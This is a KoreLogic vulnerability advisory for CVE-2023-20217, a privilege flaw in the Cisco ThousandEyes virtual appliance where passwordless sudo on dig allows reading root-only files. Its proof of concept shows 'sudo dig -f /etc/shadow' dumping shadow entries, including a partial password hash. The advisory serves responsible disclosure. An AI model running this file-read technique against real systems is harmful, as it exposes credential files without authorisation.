Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read

KL-001-2023-001: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read via sudo digTitle: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read via sudo digAdvisory ID: KL-001-2023-001Publication Date: 2023.08.17Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2023-001.txt1. Vulnerability Details      Affected Vendor: ThousandEyes      Affected Product: ThousandEyes Enterprise Agent Virtual Appliance      Affected Version: thousandeyes-va-64-18.04 0.218      Platform: Linux / Ubuntu 18.04      CWE Classification: CWE-1395: Dependency on Vulnerable                          Third-Party Component,                          CWE-1220: Insufficient Granularity of                          Access Control      CVE ID: CVE-2023-202172. Vulnerability Description      An insecure sudo configuration permits a low-privilege user      to read root-only files via the 'dig' command without a      password.3. Technical Description      The ThousandEyes Virtual Appliance is distributed with a      restrictive set of commands that can be executed via sudo,      without having to provide the password for the 'thousandeyes'      account. However, the ability to execute dig via sudo,      allows for reading of arbitrary files using dig's "batch"      mode. This mode allows a user to specify a file of requests,      one per line. The dig command will read the file with elevated      privileges and display the resulting queries (i.e. file      contents) back to the user.        thousandeyes@thousandeyes-va:~$ id        uid=1000(thousandeyes) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)        thousandeyes@thousandeyes-va:~$ sudo -l        Matching Defaults entries for thousandeyes on thousandeyes-va:            env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin        User thousandeyes may run the following commands on thousandeyes-va:            (ALL : ALL) ALL            (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, /bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop                te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart                te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, /usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,                /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, /usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install                te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, /usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*            (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump      Here we see that dig is available as root with no password,      and no restrictions on the arguments it can be passed.        thousandeyes@thousandeyes-va:~$ sudo /usr/bin/dig -f /etc/shadow        ; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> root:!:19145:0:99999:7:::        ;; global options: +cmd        ;; Got answer:        ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 40036        ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1        ;; OPT PSEUDOSECTION:        ; EDNS: version: 0, flags:; udp: 65494        ;; QUESTION SECTION:        ;root:!:19145:0:99999:7:::.    IN    A        ;; Query time: 0 msec        ;; SERVER: 127.0.0.53#53(127.0.0.53)        ;; WHEN: Fri Mar 31 08:00:38 UTC 2023        ;; MSG SIZE  rcvd: 54        ; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> daemon:!*:18885:0:99999:7:::        ;; Got answer:        ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 32743        ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1        ;; OPT PSEUDOSECTION:        ; EDNS: version: 0, flags:; udp: 65494        ;; QUESTION SECTION:        ;daemon:!*:18885:0:99999:7:::.    IN    A        ...;thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.Fb...        ...4. Mitigation and Remediation Recommendation      The vendor has released a version which remediates the described      vulnerability. Release notes are available at:https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-te-va-priv-esc-PUdgrx8E5. Credit      This vulnerability was discovered by Jim Becher and Hank      Leininger of KoreLogic, Inc.6. Disclosure Timeline      2023.04.26 - KoreLogic submits vulnerability details to Cisco.      2023.04.26 - Cisco acknowledges receipt and the intention to                   investigate.      2023.05.04 - Cisco notifies KoreLogic that a remediation for this                   vulnerability is expected to be available within                   90 days.      2023.06.30 - 45 business days have elapsed since KoreLogic reported                   this vulnerability to the vendor.      2023.07.11 - Cisco informs KoreLogic that the issue has been                   remediated in the latest ThousandEyes Virtual                   Appliance and a public advisory will be released                   2023.08.16.      2023.07.24 - 60 business days have elapsed since KoreLogic reported                   this vulnerability to the vendor.      2023.08.09 - Cisco provides KoreLogic with CVE-2023-20217 to                   track this vulnerability.      2023.08.16 - Cisco public acknowledgement.      2023.08.17 - KoreLogic public disclosure.7. Proof of Concept      See 3. Technical Description.The contents of this advisory are copyright(c) 2023KoreLogic, Inc. and are licensed under a Creative CommonsAttribution Share-Alike 4.0 (United States) License:http://creativecommons.org/licenses/by-sa/4.0/KoreLogic, Inc. is a founder-owned and operated company with aproven track record of providing security services to entitiesranging from Fortune 500 to small and mid-sized companies. Weare a highly skilled team of senior security consultants doingby-hand security assessments for the most important networks inthe U.S. and around the world. We are also developers of varioustools and resources aimed at helping the security community.https://www.korelogic.com/about-korelogic.htmlOur public vulnerability disclosure policy is available at:https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt